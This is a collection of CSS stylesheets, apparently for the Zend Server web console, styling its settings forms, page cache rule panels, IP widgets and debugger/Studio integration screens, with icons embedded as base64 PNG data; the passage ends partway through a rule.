.tag.readonly {
    background-color: white;
    border: 1px solid #9AC4D8;
    color: #0285C4;
    cursor: default;
}

.tag.readonly:hover {
    background-color: white;
}

.tag:hover {
    background-color: #3893BD;
}

.tag.remove:after {
    content: ' x';
}
@CHARSET "UTF-8";

.internal-padding > div, .internal-padding > h2 {
    padding-left: 30px;
}

span.limitedTopMessage,
span.warningTopMessage {
    margin-left: -15px;
    display: block;
    padding-left: 35px;
}

#sc_settings-form .form-field:first-child {
    margin-top: 0;
}

#sc_settings-form .form-field {
    margin-top: 35px;
    margin-bottom: 5px;
}

#sc_settings-form .zend-form-table-description {
    color: grey;
    margin-top: 5px;
    margin-bottom: 35px;
}

#sc_settings-form .form-field label input[type="checkbox"] {
    vertical-align: top;
}

#session_clustering_submit-errors {
    margin-left: 12px;
}

.settings-form-wrapper #sc_settings-form .zform-label {
    width: 300px;
}
@CHARSET "ISO-8859-1";

#rule-general-details {
    background: #e1eff2;
    height: 130px;
    border-top: 1px solid #c0cacc;
    border-bottom: 1px solid #c0cacc;
    padding: 10px;
}

.flat-list li {
    float: left;
}

.condition-panel {
    background: none repeat scroll 0 0 #EFEFEF;
    border-radius: 2px 2px 2px 2px;
    padding: 20px 20px 20px 20px;
    width: 735px;
}

.condition-scheme {
    color: #355968;
    font-size: 11px;
    height: auto;
    padding: 3px;
    width: 100px;
}

#condition-count {
    display: inline-block;
    background: none repeat scroll 0 0 #44AFE5;
    border-radius: 2px;
    color: #FFF;
    font-size: 11px;
    height: 20px;
    line-height: 19px;
    margin-right: 13px;
    margin-top: -2px;
    width: 20px;
    text-align: center;
}

#rule-name,
#duration {
    width: 200px;
    margin-right: 5px;
}

.removeCondition {
    color: red;
}

table .conditionsTable {
    width: auto;
}

table .splitTable {
    width: auto;
}

table .conditionsUrl {
    width: auto;
}

.removeCondition {
    cursor: pointer;
}

ul .radio-list-cache {
    list-style-type: none;
    margin-top: 5px;
    padding: 0;
    display: inline-block;
}

li .radio-list-cache {
    display: inline-block;
    background: url('/ZendServer/images/radiobutton_off.png') top left no-repeat;
}

.radio-list-cache li:hover {
    cursor: pointer;
}

.radio-list-cache li.active {
    background: url('/ZendServer/images/radiobutton_on.png') top left no-repeat;
}

.split-container,
.conditions_container {
    width: 550px;
    margin-left: 20px;
    margin-top: 20px;
}

.conditions_container {
    margin-left: 20px;
    margin-top: 20px;
}

.conditionsUrl table th, [page="page-cache"] table td {
    line-height: 18px;
    padding: 5px;
}

.ggeneral-cache-details-top ul {
    list-style-type: none;
}

.general-cache-details-top ul li {
    display: inline-block;
    width: 24%;
    height: 90px;
    background: url('/ZendServer/images/issue-details-list-seperator.png') right top repeat-y;
}

.general-cache-details-top tr td:first-child {
    color: #43AFE0;
    font-size: 12px;
    font-weight: bold;
    overflow: hidden;
    padding-right: 10px;
    text-align: right;
    white-space: nowrap;
}

.general-cache-details-top select {
    width: 210px;
}

.general-cache-details-top input[type="text"] {
    width: auto;
}

.general-cache-details-top h2 {
    font-size: 18px;
    font-weight: normal;
    color: #43AFE0;
}

.split-condition-panel {
    background: none repeat scroll 0 0 #EFEFEF;
    border-radius: 2px 2px 2px 2px;
    padding: 20px 20px 20px 20px;
    width: 700px;
    position: relative;
}

.hidden {
    display: none;
}

div#content-lock {
    background-color: white;
    width: 100%;
    height: 100%;
    left: 0;
    opacity: 0.6;
    position: absolute;
    right: 16px;
    top: 0;
    z-index: 888;
}

#tabsWrapper {
    margin: 10px 0px;
    overflow: hidden;
}

select[class="globalName"] {
    width: 120px;
}

#tabsWrapper .content {
    border: 1px #DDD solid;
}

.mainSectionPCPulse {
	float: left;
	width: 70%;
	margin-top: 17px;
}
.sideSectionPCPulse {
	float: left;
	width: 30%;
	text-align: center;
}
.units {
	font-size: 12px;
    vertical-align: bottom;
    font-family: Open Sans, arial;
    white-space: nowrap;
    text-overflow: initial;
}
.cacheSizePages {
	margin-bottom: 20px;
	margin-top: 5px;
}
.rowLine {
	margin-top: 30px;
	margin-bottom: 20px;
	border-bottom: 1px solid #DDD;
	width: 100%;
	display: block;
    overflow: hidden;
}
.smallRatioSuccess {
    font-size: 27px;
    display: inline-block;
    vertical-align: bottom;
    height: 38px;
}
.smallRatioSuccessHidden {
	visibility: hidden;
}
.avgNumber {
	font-size: 20px;
}
.avgNumberSmall {
	font-size: 15px;
	font-weight: bold;
}
.requestNumber {
	font-size: 27px;
}
.pcRowAvgLast {
	padding-top: 20px;
    border-bottom: 1px solid #DDD;
    content: "";
    display: block;
    margin: 0 auto;
    width: 50%;
}

#pc-dummy-image {
    height: 800px;
    background: transparent url(/ZendServer/images/pcinsight/dummy.png) left top no-repeat;
    opacity: .5;
}

.z-filter-bar select.pcFilterSelectApp {
	width: 300px;
}

.responseTitleDiv {	
    margin-left: 20px;
    margin-top: 20px;
    margin-bottom: 10px;
}

.responseTitleDiv span {
	line-height: 18px;
	text-align: left;
	font-family: 'Open Sans', sans-serif;
    font-weight: normal;
}

.responseTitleDiv input {
    color: #000;
    font-weight: normal;
    font-size: 12px;
	margin-left: 15px;
}
.nameTitle {
	font-size: 13px;
	font-family: 'Open Sans', sans-serif;
}

@CHARSET "UTF-8";

.ipwidget_fieldset .ipwidget_field {
    width: 30px;
    text-align: center;
}
@CHARSET "UTF-8";

.hosts_list {
    margin-top: 10px;
    margin-bottom: 6px;
}

.hosts_list-controls {
    margin-left: 4px;
}

.hosts_list-controls select {
    margin-left: 6px;
    margin-right: 3px;
}

.hosts_list-controls .hosts_list-controls-ipwidget:after {
    content: ' /';
}

.hosts_list-controls .hosts_list-controls-ipwidget {
    float: left;
}

#studio-ip_address-wrapper > div {
    height: 24px;
}

#studio-auto_detect_browser-wrapper {
    margin-left: 30px;
}

#studio-auto_detect_browser-wrapper label {
    padding-top: 2px;
}

#studio-auto_detect_browser-wrapper input, 
#studio-auto_detect_browser-wrapper label {
    vertical-align: middle;
    line-height: 24px;
    margin: 0 2px 0 2px;
}

#studio_integration-manual .toast {
    position: inherit;
    box-shadow: 0 0 0;
    padding-right: 6px;
    margin-bottom: 2px;
    padding-top: 9px;
    background-position: 7px 7px;
}

.inline-message {
    padding-left: 25px;
    margin-top: 7px;
    font-style: italic;
    background: url('/ZendServer/images/apps-status-warning.png') left 2px no-repeat;
}

#studio-debug_port-wrapper input {
    width: 144px;
}

#studio-auto_detect_browser-wrapper input {
    float: left;
    margin-top: 5px;
}

#studio-ip_address-wrapper {
    height: 22px;
}

#studio-ip_address-wrapper label, #studio-debug_port-wrapper label {
    display: block;
    float: left;
    line-height: 24px;
    width: 171px;
}

#studio_integration-manual {
    margin: 10px;
    margin-left: 30px;
}

#studio_integration-automatic input {
    display: inline-block;
}

.studio-client-settings-row {
    margin: 5px;
}

.studio-client-settings-row label {
    display: inline-block;
    line-height: 24px;
    margin-left: 6px;
    min-width: 200px;
}

.studio-client-settings-row label.studio-client-radio {
    min-width: 40px;
}

#studio_integration-automatic label {
    display: inline-block;
    line-height: 24px;
    margin-left: 6px;
}

#studio_integration-automatic label:nth-child(1) {
    min-width: 200px;
}

div#studio-submit-wrapper {
    margin-top: 10px;
}

#studio-debug_ssl-wrapper input {
    line-height: 22px;
}

#studio-debug_ssl-wrapper label {
    margin-left: 8px;
    line-height: 22px;
}

[page="debugger"] .settings-wrapper form {
    margin: 0 0 20px;
}

.choose-debugger-wrapper label {
    margin-left: 8px;
    line-height: 22px;
    display: block;
}

.choose-debugger-wrapper label input {
    margin: 0 5px;
}

label#choose-debugger-zend-label,
label#choose-debugger-xdebug-label {
    background-position: right top;
    background-repeat: no-repeat;
    width: 150px;
    height: 32px;
    line-height: 32px;
    overflow: hidden;
    margin-bottom: 10px;
}

label#choose-debugger-zend-label {
    background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABkAAAAgCAYAAADnnNMGAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAYdEVYdFNvZnR3YXJlAHBhaW50Lm5ldCA0LjAuNWWFMmUAAAQuSURBVEhLY6A1cOtYUwFl0gYkTNvppFI07zeUS31QvOiomHbZgmeKBXP/gwXSZm4SsW5cXmHXvHK1bSPxOHnmrlCwAWhg1ar/zMY1S3bI58/5D7Ykbf4ODc2yBS9BAqRg3YpFV2ZuOsMFNRcF2DevqoCpA1tiVL1kF7JmYrBq8fzPsVO3aELNRAERk7Y6qRbN+wdTC7ZEq2whhiH4MEiTZ9faOKiZKCBv2R5x7fJFz9HVM4AIZEFC2K5pxQKomSjg////jKa1S/eiqyfZEu3yhRcXXbjADTUXBbh0rKnHpockS9RK5n+JnrZdHWomCoiZvsNVuWDuX2z6iLYEpMavfzPWeCiZv19Cq2zBC2z6QJhoS6waV8yBmokC9u/fz2JYtRhv6iTKEv3KRZfqV11hg5qLAqwbV9Rg04OMCVoCjIfPsbN2q0HNRAH+EzY5A/X+xqYPGeO1BCTu17chGmomCsiCxANRpQReSyxql02DmokC6uvrmUxqlu7HpgcbxmkJsFw6t/LYI06ouSjAoXVVE7p6fBirJeol8z+m4IiHsMmb3ZUL58LLJWKwWvF8VEsUC+b8C520JQZqJgrInrNLChgPr5ENIAab1y27gGKJVf3yKVAzUcD+/f9ZDKoW70PWTAzWKFnwPWHWdlu4JYbVi8/XAzMX1FwUENi/wU+1eN4eYjHQ8D0WdcvnwoshkCWaJQs+Jc/erwIWoAVQLpr337t7QwiUSxtg27RyEpRJExDYt8mIYdutW+xQPk0A0BNPGcqWHXbNW3QABVeuOaoBUhA2eZORftWiNJ/e9VGLdkIqq/oNR6Rg6kB6ezadEQGJwwCohixaul8DpsayYflbYA5eUwfM4QdAGFji3gBmnh9RU7YYuLSt6QMm2+fWDcunW9Qv26dXsehW7uL9MgF9m/NViuc9ASaWA0CxszoVC7/Yt6zsAVkwc/cZfpumFYeA5rwFZuoDWqULD6qXLIC0u0Cgfv5+DmDdcMmnZ0N2/PTtDjrlC+/N3nNJHCoNLk4Mq5YsA1miWboAnp/qlx2RAhp2xb9/UwDQgm7jmmVrYFEA9BWLRf1yhCU2jStnA722EsQGuqwRaNB7o6ol12AYWCjeB7r8LbolIGBet7zWpGZJu0nt0gtR07daQ4VRLfHr3RCnV7noVj20sebQtDLfrHbZ5rBJm/VhOHn2boeMBXv9sFli27yqRr9iUTvQIfsCJ26GVw9wS8Inb1UDKvhcsPhAWOeGU+qdm8+ptqw8Jg0Mund+vRtDQVVs0fKDsvqVS44Dm7FF+CwJ7N0QqFEy/7F/76bg/MV71etXntAyq1v2n8G1Y+0GYFjfg2Fg0NyLn7kjOHLydkug96/oVy7+blyz9LMTME5ABsbN2JFo2bCiEWw6FPj2bsxxbFlTCmJ7dq0PNqtdehpuXs3SewDbpDlL8UP6ngAAAABJRU5ErkJggg==');
}

label#choose-debugger-xdebug-label {
    background-image: url('data:image/png;base64,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');
}

.studio-client-settings-submit {
    margin: 10px;
    clear: both;
}

.debugger-settings-section {
    padding-left: 76px;
    background-position: left top;
    background-repeat: no-repeat;
    padding-bottom: 10px;
    margin-bottom: 10px;
    border-bottom: 1px solid #CCC;
}

#choose-debugger-section.debugger-settings-section {
    background-image: url('data:image/png;base64,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');
}

#debugger-settings-section.debugger-settings-section {
    background-image: url('data:image/png;base64,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');
}

#client-filtering-section.debugger-settings-section {
